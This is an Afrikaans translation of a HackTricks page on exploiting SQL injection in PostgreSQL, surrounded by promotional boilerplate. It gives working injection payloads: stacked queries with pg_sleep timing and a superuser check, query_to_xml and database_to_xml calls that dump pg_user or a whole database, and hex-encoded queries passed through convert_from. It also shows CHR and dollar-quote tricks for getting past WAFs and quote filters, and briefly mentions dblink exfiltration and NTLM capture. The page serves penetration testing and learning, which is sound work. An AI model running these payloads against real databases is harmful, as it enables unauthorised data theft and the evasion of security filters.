.. | ||
big-binary-files-upload-postgresql.md | ||
dblink-lo_import-data-exfiltration.md | ||
network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md | ||
pl-pgsql-password-bruteforce.md | ||
rce-with-postgresql-extensions.md | ||
rce-with-postgresql-languages.md | ||
README.md |
PostgreSQL inspuiting
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai, kyk na die SUBSCRIPTION PLANS!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek The PEASS Family, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou hacktruuks deur PRs in te dien by die HackTricks en HackTricks Cloud github-opslag.
Bug bounty wenk: teken aan vir Intigriti, 'n premium bug bounty-platform wat deur hackers geskep is, vir hackers! Sluit vandag by ons aan by https://go.intigriti.com/hacktricks, en begin om belonings te verdien tot $100,000!
{% embed url="https://go.intigriti.com/hacktricks" %}
Hierdie bladsy poog om verskillende truuks te verduidelik wat jou kan help om 'n SQL-inspuiting in 'n postgresql-databasis uit te buit en om die truuks aan te vul wat jy op https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md kan vind
Netwerkinteraksie - Privilege Escalation, Port Scanner, NTLM-uitdaging-responslekkering & Uitlekking
Die PostgreSQL-module dblink
bied die vermoë om na ander PostgreSQL-instanties te verbind en TCP-verbindings uit te voer. Hierdie funksies, gekombineer met die COPY FROM
-funksionaliteit, maak aksies soos privilege-escalatie, poortskenning en die vaslegging van NTLM-uitdaging-respons moontlik. Vir gedetailleerde metodes om hierdie aanvalle uit te voer, kyk na hoe om hierdie aanvalle uit te voer.
Uitlekkingvoorbeeld met behulp van dblink en groot voorwerpe
Jy kan hierdie voorbeeld lees om 'n CTF-voorbeeld te sien van hoe om data binne groot voorwerpe te laai en dan die inhoud van groot voorwerpe binne die gebruikersnaam van die funksie dblink_connect
uit te lek.
PostgreSQL-aanvalle: Lees/skryf, RCE, privesc
Kyk hoe om die gasheer te kompromitteer en voorregte vanaf PostgreSQL te verhoog in:
{% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %} pentesting-postgresql.md {% endcontent-ref %}
WAF-omseiling
PostgreSQL-stringfunksies
Deur strings te manipuleer, kan jy help om WAFs of ander beperkings te omseil.
Op hierdie bladsy kan jy 'n paar nuttige stringfunksies vind.
Gestapelde navrae
Onthou dat postgresql gestapelde navrae ondersteun, maar verskeie toepassings sal 'n fout gooi as 2 antwoorde teruggegee word wanneer slegs 1 verwag word. Maar, jy kan steeds die gestapelde navrae misbruik deur middel van tydinspuiting:
id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
XML-truuks
query_to_xml
Hierdie funksie sal al die data in XML-formaat in net een lêer teruggee. Dit is ideaal as jy baie data in net 1 ry wil aflaai:
SELECT query_to_xml('select * from pg_user',true,true,'');
databasis_naar_xml
Hierdie funksie sal die hele databasis in XML-formaat aflaai in net 1 ry (wees versigtig as die databasis baie groot is, want dit kan dit DoS of selfs jou eie kliënt veroorsaak):
SELECT database_to_xml(true,true,'');
Strings in Hex
As jy navrae kan uitvoer deur hulle binne 'n string te stuur (byvoorbeeld deur die query_to_xml
-funksie te gebruik), kan jy die convert_from
-funksie gebruik om die string as heks oor te dra en sodoende filters te omseil:
{% code overflow="wrap" %}
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');
# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h
# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -
{% endcode %}
Verbode aanhalingstekens
As jy nie aanhalingstekens kan gebruik vir jou payload nie, kan jy dit omseil met CHR
vir basiese klousules (karakterkonkatenasie werk slegs vir basiese navrae soos SELECT, INSERT, DELETE, ens. Dit werk nie vir alle SQL-stellings nie):
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
Of met $
. Hierdie navrae lewer dieselfde resultate op:
SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;
Foutjagtip: teken aan vir Intigriti, 'n premium foutjagplatform geskep deur hackers, vir hackers! Sluit vandag by ons aan by https://go.intigriti.com/hacktricks, en begin om belonings tot $100,000 te verdien!
{% embed url="https://go.intigriti.com/hacktricks" %}
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat, kyk na die SUBSCRIPTION PLANS!
- Kry die amptelike PEASS & HackTricks-uitrusting
- Ontdek The PEASS Family, ons versameling eksklusiewe NFT's
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou hacktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-repositoriums.